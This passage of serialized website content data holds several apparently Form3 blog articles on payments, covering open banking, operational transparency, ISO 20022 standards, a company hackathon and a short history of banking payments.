real-time payments systems are integrated globally across banks, merchants and acquirers, open banking can’t deliver on its promising ambitions.",[],"rich_text$d314a3c4-9050-4e66-bab8-3dc0769757f6",{"variation":437,"version":438,"items":9549,"primary":9550,"id":9573,"slice_type":468,"slice_label":5},[],{"body":9551},[9552,9555,9564,9567],{"type":988,"text":9553,"spans":9554,"direction":445},"Open banking: The dangers of a great idea, poorly executed",[],{"type":25,"text":9556,"spans":9557,"direction":445},"With the faster payments limit poised to increase to £1m this year, now is the time for banks, PSPs and acquirers to revolutionise their customer experiences by passing on the benefits of real-time payments to merchants using their systems.",[9558,9561],{"start":398,"end":690,"type":489,"data":9559},{"link_type":491,"url":9560,"target":493},"https:\u002F\u002Fwww.fasterpayments.org.uk\u002Fhow-much-can-i-send-0#:~:text=It%20is%20now%20possible%20to,type%20of%20account%20you%20have.",{"start":9312,"end":4889,"type":489,"data":9562},{"link_type":491,"url":9563,"target":493},"https:\u002F\u002Fcib.db.com\u002Fdocs_new\u002FCB_Instant_Payments_Whitepaper__DB0567__DIGITAL.pdf",{"type":25,"text":9565,"spans":9566,"direction":445},"By leveraging real-time payments systems, open banking can deliver on its promises and provide its full benefits to the merchants, acquirers and the consumer.",[],{"type":25,"text":9568,"spans":9569,"direction":445},"You can find more about how to access Faster Payments here.",[9570],{"start":3963,"end":9203,"type":489,"data":9571},{"link_type":491,"url":9572,"target":493},"https:\u002F\u002Fget.form3.tech\u002Fhow-to-access-faster-payments-scheme\u002F","rich_text$20313924-bda7-4f64-9152-596489b9c9bf",{"variation":437,"version":438,"items":9575,"primary":9576,"id":9590,"slice_type":468,"slice_label":5},[],{"body":9577},[9578,9581,9584],{"type":988,"text":9579,"spans":9580,"direction":445},"Unlock real-time payments for your customers",[],{"type":25,"text":9582,"spans":9583,"direction":445},"Whether you’re a challenger bank looking to capitalise on real-time payments for your digitally savvy customers or an enterprise bank wanting to bring your expertise to the next level, Form3 provides the critical infrastructure to speed up your payments process.",[],{"type":25,"text":9585,"spans":9586,"direction":445},"Set up a chat with us now to find out how our APIs fast-track payments across the UK and in the EU.",[9587],{"start":398,"end":703,"type":489,"data":9588},{"link_type":491,"url":9589,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fcontact","rich_text$01cbabd0-96e7-4580-bab9-3741a02e9b14",{"id":9592,"uid":9593,"type":3743,"data":9594},"alz0eREAACoAUWX1","nowhere-to-hide",{"title":9595,"excerpt":9596,"card_image":9597,"published_date":5812,"reading_time":1130,"tag":3751,"dek":9596,"featured_image":9602,"about_form3":9603,"client_about_heading":5,"client_about_body":9604,"author_name":5,"author_title":5,"author_photo":9605,"author_bio":9606,"author_linkedin":9607,"slices":9608,"meta_title":9595,"meta_description":9596},"Nowhere to Hide","How will banks react when their payments back office truly becomes their front office?",{"dimensions":9598,"alt":9595,"copyright":5,"url":9599,"id":9600,"edit":9601},{"width":412,"height":412},"\u002F_prismic-media\u002F891f74a880563c11-paLqj9L7EqlLBdAL_nowhere-to-hide.png","paLqj9L7EqlLBdAL",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[9609,9640],{"variation":437,"version":527,"items":9610,"primary":9611,"id":9639,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":9612,"body":9613,"cta_label":5,"cta_link":9627,"aside_type":533,"aside_image":9628,"aside_video":9634,"aside_video_poster":9635,"aside_video_reduced_motion":9636,"aside_video_url":5,"aside_embed":9637,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":9638,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[9614,9617,9620,9624],{"type":25,"text":9615,"spans":9616,"direction":445},"In the old world, payments processing was hidden behind multi-day \u002F multi-hour payment cycles, tech puzzles and heavily manual processes. Batch overnight and next day processing were the norm.",[],{"type":25,"text":9618,"spans":9619,"direction":445},"Unfortunately the world has moved on, and at pace. The once hidden backoffice is becoming more and more visible to the extent that it is now front and centre.",[],{"type":25,"text":9621,"spans":9622,"direction":445},"Moving into a new world of payments",[9623],{"start":398,"end":628,"type":593},{"type":25,"text":9625,"spans":9626,"direction":445},"In the new world customers have full visibility of exactly where their payments are - and how they’re behaving - at exactly the same time as their payment tech providers through their API.",[],{"link_type":434},{"dimensions":9629,"alt":5,"copyright":5,"url":9631,"id":9632,"edit":9633},{"width":9630,"height":6664},1000,"\u002F_prismic-media\u002Fef4c4577bb4916ce-oXARu2o0Pf_l9En0_d7f5a6a8-2482-425d-9124-e972991.png","oXARu2o0Pf_l9En0",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$50a3fe6c-83ce-4850-815b-854ed4e28de1",{"variation":437,"version":438,"items":9641,"primary":9642,"id":9675,"slice_type":468,"slice_label":5},[],{"body":9643},[9644,9647,9650,9654,9657,9660,9663,9666,9669,9672],{"type":25,"text":9645,"spans":9646,"direction":445},"As providers of critical payments infrastructure to regulated businesses who move money in real-time for thousands, if not millions of end customers, the performance of our platform is always top of mind. There’s no hiding and honestly, I think it’s liberating.\nThe importance of payments tech, its stability, its availability, its capability and its ability to change and adapt at pace is only increasing, and rapidly.",[],{"type":25,"text":9648,"spans":9649,"direction":445},"Because there’s no time spent trying to hide, it’s all about getting it right as often as possible and showing customers the reality. Being ahead of them wherever possible, being ready to highlight issues and work together - with partners, customers, schemes - whoever it takes to fix issues and move forwards.",[],{"type":25,"text":9651,"spans":9652,"direction":445},"What it's all about",[9653],{"start":398,"end":6262,"type":593},{"type":25,"text":9655,"spans":9656,"direction":445},"It’s about investing the time – first time – to develop the product in its fully releasable form. It’s about high levels of service management, ongoing operational support as an integral part of that product delivery and definitely not viewing these areas of service as an afterthought owned by some anonymous “operations team”.",[],{"type":25,"text":9658,"spans":9659,"direction":445},"It’s about understanding that just because it’s not broken, it doesn’t mean it shouldn’t be fixed.",[],{"type":25,"text":9661,"spans":9662,"direction":445},"It’s about technology as intelligence. Using your understanding of your technology and your platform’s behaviour to know when something just might be broken or under strain.",[],{"type":25,"text":9664,"spans":9665,"direction":445},"It’s about combining a tech first approach with a ridiculous understanding and expectation of how the product should work. And catching it, investigating it and fixing the product when it doesn’t.",[],{"type":25,"text":9667,"spans":9668,"direction":445},"It’s about continually evolving what’s interesting or concerning as your products, your customers and your platform grows.",[],{"type":25,"text":9670,"spans":9671,"direction":445},"But most fundamentally of all it’s about your people – the team of customer operations, incident managers and devops engineers - who are vested enough in who you are as an organisation, your product, your customers and what it is you’re trying to achieve that they’ll take Saturday afternoon interruptions and middle of the night Wednesday wakeups in their stride and sign up to do it all again the next day (after a few well deserved hours of sleep of course).",[],{"type":25,"text":9673,"spans":9674,"direction":445},"Gone are the days of selling unfounded promises and a pretence of stability and reliability. In today’s connected and transparent payments world it’s all about demonstrating your stats and realising that there is no place to hide – and that feels really good!",[],"rich_text$12f7c7e3-4782-4d9d-8a0d-2240e82d2770",{"id":9677,"uid":9678,"type":3743,"data":9679},"alz0bREAAC0AUWXZ","raising-our-standards",{"title":9680,"excerpt":9681,"card_image":9682,"published_date":9687,"reading_time":1633,"tag":3751,"dek":9681,"featured_image":9688,"about_form3":9689,"client_about_heading":5,"client_about_body":9690,"author_name":5,"author_title":5,"author_photo":9691,"author_bio":9692,"author_linkedin":9693,"slices":9694,"meta_title":9680,"meta_description":9681},"Raising our standards","The world of payments is fit to bursting with standards, with each market having their own particularities, release planning and scheduling...",{"dimensions":9683,"alt":9680,"copyright":5,"url":9684,"id":9685,"edit":9686},{"width":412,"height":412},"\u002F_prismic-media\u002F760959e22a61ef38-qul8L3hglq6yQfRx_raising-our-standards.png","qul8L3hglq6yQfRx",{"x":398,"y":398,"zoom":399,"background":400},"2019-12-12",{},[],[],{},[],{"link_type":434},[9695,9723],{"variation":437,"version":527,"items":9696,"primary":9697,"id":9722,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":9698,"body":9699,"cta_label":5,"cta_link":9711,"aside_type":533,"aside_image":9712,"aside_video":9717,"aside_video_poster":9718,"aside_video_reduced_motion":9719,"aside_video_url":5,"aside_embed":9720,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":9721,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[9700,9705,9708],{"type":25,"text":9701,"spans":9702,"direction":445},"ISO 20022: A global standard",[9703],{"start":398,"end":9704,"type":593},28,{"type":25,"text":9706,"spans":9707,"direction":445},"The world of payments is fit to bursting with standards, with each market having their own particularities, release planning and scheduling. We have already come a long way from a complete lack of interoperability in the past, to global open standards today like ISO 20022, which has catered for a common understanding of concepts and allows any type of usage. But, even with this open global standard in place, many organisations fall back to old school implementations.",[],{"type":25,"text":9709,"spans":9710,"direction":445},"The old saying, `the great thing about standards is that there are so many to choose from!’ still remains. The Payments landscape is one of the fastest changing in all of finance. Changing from batch to real time processing, the upcoming 2025 migration to ISO 20022 by SWIFT, are just two that are front of mind for FIs around the world. As a former standardiser myself, I am often struck by how removed the decisions made by industry groups are from the actual standardisation and implementation problems they are trying to solve.",[],{"link_type":434},{"dimensions":9713,"alt":5,"copyright":5,"url":9714,"id":9715,"edit":9716},{"width":6510,"height":6511},"\u002F_prismic-media\u002Fcf6847d1281bc4e6-uuMU1LoaUOTTKJsF_f9836eaa-8d8b-4f1a-ba32-d901b4f.png","uuMU1LoaUOTTKJsF",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$c220f4c3-ff2d-49b5-8e6e-67ec00090d52",{"variation":437,"version":438,"items":9724,"primary":9725,"id":9737,"slice_type":468,"slice_label":5},[],{"body":9726},[9727,9731,9734],{"type":25,"text":9728,"spans":9729,"direction":445},"A different approach to standards",[9730],{"start":398,"end":9077,"type":593},{"type":25,"text":9732,"spans":9733,"direction":445},"It is time to think differently about standards and take it up a level. The global standard has been called a recipe for financial standards and it is time to change the focus to the ingredients. Rather than focus on messages and continue an everlasting loop of mapping (replacing one with another), the focus should be on the data that you need to exchange to make that payment, and how you can cater for compliancy in such a way that you do not have to build\u002Fsupport multiple versions of data.",[],{"type":25,"text":9735,"spans":9736,"direction":445},"Because why should you as a PSP carry the burden of the decision via which vessel data needs to be transported? What if, in a few years time, the global industry changes to new message standards? Or a certain industry decides that they need not just additional information, but that they need a new standard to convey that information? Imagine instructions that are derived from a single set of data options, a single integration effort no matter the destination of your payment, no matter the role you play in the market. Would that not be cost effective on maintenance effort, testing or entering a new market? Sounds simple right? It is with Form3. We are focused on building real solutions to real problems. Our fully managed, cloud-native payments platform is aimed at regulated financial institutions for UK and SEPA payments systems, and are evolving to markets further afield as the real-time payment landscape develops, and customers and partners expand into new markets.",[],"rich_text$9d53bb8e-2784-4e7e-a1c2-c692d31c75fa",{"id":9739,"uid":9740,"type":3743,"data":9741},"alz0YREAACwAUWW4","what-the-hack",{"title":9742,"excerpt":9743,"card_image":9744,"published_date":6642,"reading_time":1355,"tag":3751,"dek":9743,"featured_image":9749,"about_form3":9750,"client_about_heading":5,"client_about_body":9751,"author_name":5,"author_title":5,"author_photo":9752,"author_bio":9753,"author_linkedin":9754,"slices":9755,"meta_title":9742,"meta_description":9743},"What the Hack!","Why hackathons boost innovation and enhance company culture in a remote environment",{"dimensions":9745,"alt":9742,"copyright":5,"url":9746,"id":9747,"edit":9748},{"width":412,"height":412},"\u002F_prismic-media\u002F70557d52f6a59486-MCm_ZxJHFTO9amE_what-the-hack.png","_MCm_ZxJHFTO9amE",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[9756,9784],{"variation":437,"version":527,"items":9757,"primary":9758,"id":9783,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":9759,"body":9760,"cta_label":5,"cta_link":9771,"aside_type":533,"aside_image":9772,"aside_video":9778,"aside_video_poster":9779,"aside_video_reduced_motion":9780,"aside_video_url":5,"aside_embed":9781,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":9782,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[9761,9764,9768],{"type":25,"text":9762,"spans":9763,"direction":445},"Hackathons give development teams the opportunity to work in different ways to business as usual. Some of the strongest motivations for undertaking a hackathon are as follows:",[],{"type":25,"text":9765,"spans":9766,"direction":445},"A departure from current tasks",[9767],{"start":398,"end":3041,"type":593},{"type":25,"text":9769,"spans":9770,"direction":445},"Hackathons give the opportunity for developers to get away from “ground level”, to explore tasks outside of their normal activities. Whilst seemingly simple, this profound shift in perspective underpins the many other benefits of the hackathon. Having dedicated time and space really unlocks an atmosphere that’s distinct from the day-to-day, where the normal rules don’t necessarily apply, and where creativity can take place in a detached, liberated manner.",[],{"link_type":434},{"dimensions":9773,"alt":5,"copyright":5,"url":9775,"id":9776,"edit":9777},{"width":9774,"height":6665},1093,"\u002F_prismic-media\u002Fe7589b028975805c-VPSV6VsUXuhOaZDY_97201524-bf00-4765-830a-2ca1406.png","VPSV6VsUXuhOaZDY",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$26f3e459-42ec-4675-9d0e-48dfb8ea6c13",{"variation":437,"version":438,"items":9785,"primary":9786,"id":9901,"slice_type":468,"slice_label":5},[],{"body":9787},[9788,9792,9795,9800,9803,9807,9810,9814,9817,9821,9824,9828,9831,9835,9838,9841,9844,9848,9851,9854,9857,9861,9864,9867,9870,9873,9876,9880,9883,9886,9889,9892,9895,9898],{"type":25,"text":9789,"spans":9790,"direction":445},"Focused teamwork",[9791],{"start":398,"end":2477,"type":593},{"type":25,"text":9793,"spans":9794,"direction":445},"Moving away from the typical organisational structure can help colleagues to work with people that may typically form part of different work streams. Blending disciplines in this way, such as a product manager with a developer and a graphic designer can yield an interesting final product and presentation in my experience. This factor is something that can be tailored for any given hackathon, and a key consideration that would support limiting the event to developers is that there’s potentially a higher likelihood of producing something production-ready during the event as opposed to something compelling but not directly usable. If usable innovation is key, then restricting participation can be a sensible trade-off, but cultural exchange is not necessarily maximised.",[],{"type":25,"text":9796,"spans":9797,"direction":445},"Embracing the unexpected",[9798],{"start":398,"end":9799,"type":593},24,{"type":25,"text":9801,"spans":9802,"direction":445},"Whilst not necessarily a primary goal, all hackathons offer the opportunity to fail without major repercussions. This is a vital component of the culture underpinning a hackathon. Teams will manage the risk by employing disciplines that lead to predictable, successful, delivery day-to-day. This includes things such as TDD, task management, setting and testing assumptions and so on. At the same time, teams might be using tools that aren’t necessarily familiar. This can lead to major knowledge transfer, but it’s also something that can go wrong. Fostering an enterprising, inquisitive, approach to problems can really refresh motivation, and so can help company culture. Too much of the unknown can potentially limit the amount of directly-production-ready innovation within the confines of the hackathon.",[],{"type":25,"text":9804,"spans":9805,"direction":445},"Challenge",[9806],{"start":398,"end":1355,"type":593},{"type":25,"text":9808,"spans":9809,"direction":445},"Coupled with embracing the element of risk, some hackathons ratchet this up by awarding prizes, sometimes organising direct competition by giving the teams similar objectives and starting positions and allowing each team to work (potentially in secret) to achieve the best-optimised outcome for a given problem. Competing in this way can yield interesting innovation outcomes, because it can potentially work around typical perspectives and viewpoints that might prevent solving a given business problem. It can also foster culture, if the business functions best through potentially competing delivery groups, or if–as is more typical–the hackathon is taking place at a community event where several companies that compete in real life can blend their teams together. This is not always the case, so sometimes hackathons may be better culturally if they have a more inquisitorial than adversarial nature, with presentations at the end but no awards ceremony.",[],{"type":25,"text":9811,"spans":9812,"direction":445},"Collaboration under pressure",[9813],{"start":398,"end":9704,"type":593},{"type":25,"text":9815,"spans":9816,"direction":445},"In all hackathons, the short timescales can work well as a forcing function. This can give hackathons a common flavour, with certain rituals that can become familiar and so can lead to quickly forming new teams in the case where people have attended a hackathon previously (if not, it’s pretty easy to buddy-up). This is great for culture and can lead to great onward working relationships and stories to tell. Pressure helps innovation, too, because only the strongest or most interesting ideas can be explored with the fairly small team sizes available. This means that the ideas produced tend to be small but mighty, with a lot of surface area for further innovation after the hackathon.",[],{"type":25,"text":9818,"spans":9819,"direction":445},"It appeals to our nature",[9820],{"start":398,"end":9799,"type":593},{"type":25,"text":9822,"spans":9823,"direction":445},"Curiosity is an important part of being a developer. Hackathons amplify this by providing a space to indulge curiosity, and to tackle new projects for the benefit of the group. So culturally it enables the organisation to recognise the forces that motivate developers, and from an innovation perspective allowing these discoveries to take place can lead to people gaining material insights that they can use to enhance innovation in their day-to-day work.",[],{"type":25,"text":9825,"spans":9826,"direction":445},"Work in different ways",[9827],{"start":398,"end":7635,"type":593},{"type":25,"text":9829,"spans":9830,"direction":445},"As well as escaping the usual day-to-day workloads, hackathons offer the ability to work face-to-face when work is normally done remotely, using break-out areas, and in a competitive context may even go so far as to have a central “exchange” network that can present the relative progress of each team on an interactive leaderboard. Working in this way is hugely important for culture, because it enables everyone to work as an equal, and often subverts typical leadership hierarchy. People get to meet the person behind the video chat and interact freely. Sometimes you hear things said like “you’re taller in person”. Again, this can serve to humanise relationships between colleagues normally working remotely from one another and so can really help on a daily basis once the hackathon is over.",[],{"type":25,"text":9832,"spans":9833,"direction":445},"Putting theory into practice",[9834],{"start":398,"end":9704,"type":593},{"type":25,"text":9836,"spans":9837,"direction":445},"So, having explored some of the theory, how does a hackathon actually operate at Form3?",[],{"type":25,"text":9839,"spans":9840,"direction":445},"To loosely paraphrase the old adage, one doesn’t grow an exciting fintech startup to scale without developing a few interesting ideas that would be fun to explore. Form3 hold regular hackathons to take on some of these challenges, for example security, API integration, incident support, visualisation of data flow, Slackbots, and creating new product ideas from data science fundamentals. We tend to have a healthy backlog of ideas to explore.",[],{"type":25,"text":9842,"spans":9843,"direction":445},"Our most recent hackathon was an excellent opportunity to pursue some of these challenges, whilst also providing a way to deepen those certain intangible aspects of cooperation free of the latency that even the very best web conferencing solutions can’t quite manage. The chance to break bread with people normally located thousands of miles away from each other didn’t hurt either. As a remote-first team we made sure to also include those colleagues that couldn’t make it by embedding them in many of the teams and by live-streaming and recording the presentations.",[],{"type":25,"text":9845,"spans":9846,"direction":445},"Getting started",[9847],{"start":398,"end":8472,"type":593},{"type":25,"text":9849,"spans":9850,"direction":445},"To help ensure an interesting couple of days at the hackathon, task elaboration and selection began a few days before the event. We used GitHub issues to self-organise into teams that could focus on each effort. Whilst there were no particularly strict rules regarding team composition, the thirty or so of us all settled into teams of roughly five people that spanned our normal working groups.",[],{"type":25,"text":9852,"spans":9853,"direction":445},"Four of the teams were able to start their journeys on top of earlier efforts that emerged naturally from the various internal and external ecosystems that grow around the various elements of our tech stack. Some of the teams were using various interesting Linux distros and penetration tools, so they made sure to have everything configured prior to beginning the event. We also used a small selection of our common internal documentation tools to spin up a few slide decks, shared repositories, wikis and so on.",[],{"type":25,"text":9855,"spans":9856,"direction":445},"Once initial introductions were made, we settled in and began to engage with the task lists each team had created. Typically we had around ten tasks per team, to give each of the team members one significant milestone task per day, plus we then had at least one stretch goal per team member. Throughout the event, there were plenty of opportunities to walk the room, talk to everyone, and to exchange ideas for stretch goals. A significant number of people present were quite seasoned to the normal ebb and flow of a hackathon, but every team made an excellent effort to include everyone’s ideas and most seemed to settle upon regular ad-hoc stand ups to ensure that they were on track.",[],{"type":25,"text":9858,"spans":9859,"direction":445},"Variety",[9860],{"start":398,"end":1130,"type":593},{"type":25,"text":9862,"spans":9863,"direction":445},"First up, “Red Team” used the opportunity to flex their security and penetration testing skills at hackthebox.eu using Kali Linux, and this made for one of the most interesting presentations. Having an intensive focus on these issues is important day-to-day, but being able to explore these issues in the abstract free from the constraints of an established system definitely made them more approachable and less intimidating.",[],{"type":25,"text":9865,"spans":9866,"direction":445},"Team “API CLI” was focused on implementing the 80% of functionality that we need from one of our commercial-off-the-shelf incident-support tools. The existing tool definitely works for us, but being able to expose exactly the right data in a high-pressure situation can help us to raise our game further. Go proved to be a great choice for a REPL that tied together several APIs to allow incident support teams to correlate events, navigate between business objects, and cross-check these items with relevant logging information. The team was able to meet all of their major objectives.",[],{"type":25,"text":9868,"spans":9869,"direction":445},"Team “Payments Flow” were aiming to visualise some of the interesting flows that occur through our platform, which is also something that can help to raise awareness of the normal behaviours that result from the emergent complexity of a sophisticated distributed system. Netflix Flux helped to inspire the team to provide a powerful visualisation using Processing.js but when we first connected it to the underlying data streams the payments were moving through the dashboard too quickly for the eye to follow!",[],{"type":25,"text":9871,"spans":9872,"direction":445},"Team “Slack Deploy” were enhancing Slack, which is a tool that also helps us to deliver precisely the right amount of information to the proper people, so a team built upon our existing stable of Slack integrations by developing a tightly-focused and useful Slackbot to assist with the ancillary tasks around deploying new features, ensuring people are aware of necessary steps and so on. We already have a mature release process, but we are always thinking of ways to enhance it further.",[],{"type":25,"text":9874,"spans":9875,"direction":445},"Finally, Team “Jupyter Weather” conducted some very sophisticated data science analysis of warehoused anonymised transaction data using Jupyter Notebooks and Python and were able to explore some interesting patterns that occur in our system, which will potentially help us to develop new aspects of our existing systems and potentially to approach other areas that are on our planning horizon.",[],{"type":25,"text":9877,"spans":9878,"direction":445},"No contest",[9879],{"start":398,"end":905,"type":593},{"type":25,"text":9881,"spans":9882,"direction":445},"Some hackathons focus on optimisation of a single problem within a tightly-scoped problem space. This can be an excellent opportunity to deepen teamwork, and can lead to some great innovation, but can limit the ground covered and there can be a degree of duplicated effort inherent in the process if the problem is not expertly framed and\u002For has been explored previously.",[],{"type":25,"text":9884,"spans":9885,"direction":445},"Other hackathons are broader in scope, and more collaborative, with each team going their own way but sharing ideas in a free-form way. This can allow for more ground to be covered, but occasionally can lead to differing levels of achievement depending on the relative difficulties of each problem. Although judging the presentations can help with the process of deciding which team is the winner, at Form3 we decided that the presentations themselves were fascinating but nominating a single team the winner would not necessarily be meaningful.",[],{"type":25,"text":9887,"spans":9888,"direction":445},"In keeping with the nature of the event, teams made sure to have lunch and to break promptly at the end of the day. All-nighters were definitely not in scope.",[],{"type":25,"text":9890,"spans":9891,"direction":445},"The presentations were delivered with great humour in a relaxed and egoless environment. They provided a great capstone to an interesting couple of days.",[],{"type":25,"text":9893,"spans":9894,"direction":445},"After that, the teams carried on some of the discussions and some tasks were formalised for more in-depth follow up as part of our normal development cycles. We also took the opportunity to reflect upon the other ideas in our backlog for the next hackathon. This list already has thirteen promising ideas and everyone is able to hang up their own shingle on the kanban board should inspiration strike.",[],{"type":25,"text":9896,"spans":9897,"direction":445},"Since each team was able to tackle most if not all of their planned problems with well-tested, production-ready code, and many stretch goals were also hit, we thought that the event had been very successful. A lot of the solutions produced can potentially be immediately applied, and for those requiring further development, strong potential was shown through the work done and the presentations at the end of the hackathon. Two of the solutions have made it to production already.",[],{"type":25,"text":9899,"spans":9900,"direction":445},"Given the success of the event, we plan to hold another in a few months, and we will probably continue to iterate on what seems to be a winning formula.",[],"rich_text$94ef4b82-6f26-402c-bf01-bad9e5a0abe0",{"id":9903,"uid":9904,"type":3743,"data":9905},"alz0lREAACsAUWYp","whitepaper-born-in-the-cloud",{"title":9906,"excerpt":9907,"card_image":9908,"published_date":5,"reading_time":4603,"tag":3992,"dek":5,"featured_image":9913,"about_form3":9914,"client_about_heading":5,"client_about_body":9915,"author_name":5,"author_title":5,"author_photo":9916,"author_bio":9917,"author_linkedin":9918,"slices":9919,"meta_title":9906,"meta_description":9907},"Whitepaper: Born in the cloud","Uncovering the key questions and decisions that make a Payments-as-a-Service platform an increasingly viable option for banks looking to future proof their payments capabilities.",{"dimensions":9909,"alt":9906,"copyright":5,"url":9910,"id":9911,"edit":9912},{"width":412,"height":412},"\u002F_prismic-media\u002Fc3958f6f93cb57fe-zvbpMnVMXRB47jWw_whitepaper-born-in-the-cloud.pn","zvbpMnVMXRB47jWw",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[9920,9928],{"variation":437,"version":438,"items":9921,"primary":9922,"id":9927,"slice_type":468,"slice_label":5},[],{"body":9923},[9924],{"type":746,"text":9925,"spans":9926,"direction":445},"Re-platforming critical payments infrastructure to the cloud",[],"rich_text$349be38c-bf0a-4001-b47c-43f5100fd73e",{"variation":437,"version":527,"items":9929,"primary":9930,"id":9947,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":9931,"body":9932,"cta_label":5,"cta_link":9936,"aside_type":533,"aside_image":9937,"aside_video":9942,"aside_video_poster":9943,"aside_video_reduced_motion":9944,"aside_video_url":5,"aside_embed":9945,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":9946,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[9933],{"type":25,"text":9934,"spans":9935,"direction":445},"Huge advances in technology innovation are transforming the very core of financial services, challenging banks to reassess their front- and back-end platform architecture. In this latest report we discuss how banks can prepare themselves and why a platform first approach will be key for future payment innovations. ",[],{"link_type":434},{"dimensions":9938,"alt":5,"copyright":5,"url":9939,"id":9940,"edit":9941},{"width":6562,"height":6562},"\u002F_prismic-media\u002Fbf0d2b8ceaeb7b8d-CKfHmeluYnCS0q27_42b5b408-ad5d-4b29-8858-9b24580.png","CKfHmeluYnCS0q27",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$61e45f5e-8173-4d0f-b95d-c38bf7909af0",{"id":9949,"uid":9950,"type":3743,"data":9951},"alz0cBEAACsAUWXh","back-to-the-future",{"title":9952,"excerpt":9953,"card_image":9954,"published_date":5812,"reading_time":1130,"tag":3751,"dek":9953,"featured_image":9959,"about_form3":9960,"client_about_heading":5,"client_about_body":9961,"author_name":5,"author_title":5,"author_photo":9962,"author_bio":9963,"author_linkedin":9964,"slices":9965,"meta_title":9952,"meta_description":9953},"Back to the Future","What next for payments?",{"dimensions":9955,"alt":9952,"copyright":5,"url":9956,"id":9957,"edit":9958},{"width":412,"height":412},"\u002F_prismic-media\u002Ff543ea0530372f0a-bT5bY5VZ5YcGCriN_back-to-the-future.png","bT5bY5VZ5YcGCriN",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[9966,9993],{"variation":437,"version":527,"items":9967,"primary":9968,"id":9992,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":9969,"body":9970,"cta_label":5,"cta_link":9981,"aside_type":533,"aside_image":9982,"aside_video":9987,"aside_video_poster":9988,"aside_video_reduced_motion":9989,"aside_video_url":5,"aside_embed":9990,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":9991,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[9971,9974,9978],{"type":25,"text":9972,"spans":9973,"direction":445},"A while ago when I was working at a well-known banking provider, I was asked by the Senior Leadership Team “Payments? is that really a thing?”. Three years later we’d grown revenue from $4m in the first year to $130m. So payments are definitely a thing. In fact, I’d go on the record to say payments are the biggest thing in fintech right now.",[],{"type":25,"text":9975,"spans":9976,"direction":445},"A look into the future",[9977],{"start":398,"end":7635,"type":593},{"type":25,"text":9979,"spans":9980,"direction":445},"But in order to look to the future, we must look at the past. By doing so we can recognise and interpret patterns, enabling us to make informed, sound theories. Or we can just make wild, unfounded statements, some of which amusingly will become real!",[],{"link_type":434},{"dimensions":9983,"alt":5,"copyright":5,"url":9984,"id":9985,"edit":9986},{"width":9630,"height":6664},"\u002F_prismic-media\u002F3c32e93b5894f72b-0Oww4v2IjOXIWTLg_d5c31e33-5714-4688-a301-89e5144.png","0Oww4v2IjOXIWTLg",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7238d90b-e178-4270-9bac-7ba939d97911",{"variation":437,"version":438,"items":9994,"primary":9995,"id":10036,"slice_type":468,"slice_label":5},[],{"body":9996},[9997,10000,10003,10007,10010,10013,10016,10020,10023,10026,10030,10033],{"type":25,"text":9998,"spans":9999,"direction":445},"Once upon a time, innovation was the forum of the banks. Access to funds (cash) outside of standard hours was impossible. The creation of cards in the 1970’s allowed better access to our cash with the arrival of the ATM. Fast forward 30 years and cards are turning into apps, watches and other wearables.",[],{"type":25,"text":10001,"spans":10002,"direction":445},"The arrival of the digital age and the ‘instant’ culture has had a profound impact on how individuals and organisations access and move money.",[],{"type":25,"text":10004,"spans":10005,"direction":445},"Bankifying interesting payment ventures",[10006],{"start":398,"end":4219,"type":593},{"type":25,"text":10008,"spans":10009,"direction":445},"Banks simply cannot keep up with the pace and dynamism of change, shackled by an ever-reducing risk appetite and terrified of bad PR. Today’s global customers, competitors, and regulators are instantly aware of any issues via social media. This has caused companies like Datamnr (who analyse trending subjects and data patterns on twitter), to become critical partners.",[],{"type":25,"text":10011,"spans":10012,"direction":445},"Throughout modern history Banks have frequently acquired interesting\u002Fchallenging ventures and then “bankified” them, crushing the very essence that had made them successful in the first place. As soon as the illusion of control lifted and lack of confidence bit hard in 2008, it triggered the world into financial crisis. Key revenue streams for the banks dried up as everyone (including them) wanted to “hold” on to their money a little longer. Collapsing the chain of reliable money movement.",[],{"type":25,"text":10014,"spans":10015,"direction":445},"Those overexposed like Lehman Brothers were wiped out. Giants like CitiBank were propped up by their Governments, no longer “too big to fail”. The sovereign money tied up in these leviathans meant they had to be invested in further with taxpayer’s money or countries would fall. Interestingly and unexpectedly what was once deemed an ancillary service and not a product or revenue stream became key to their survival. Tangentially the value of payments went down, but the volume of payments went through the roof. The banking community woke up to payments and what they could charge for them.",[],{"type":25,"text":10017,"spans":10018,"direction":445},"The future of payments is simple",[10019],{"start":398,"end":5489,"type":593},{"type":25,"text":10021,"spans":10022,"direction":445},"I’ve said to all that can hear (whether they like it or not) for a very long time, “a bank is not bank unless it can send or receive payments”. Forget Trade, Lending, etc without this key *facility* it’s all irrelevant. Deposits, Mortgages, Investments, etc cannot be serviced without the ability to move money in 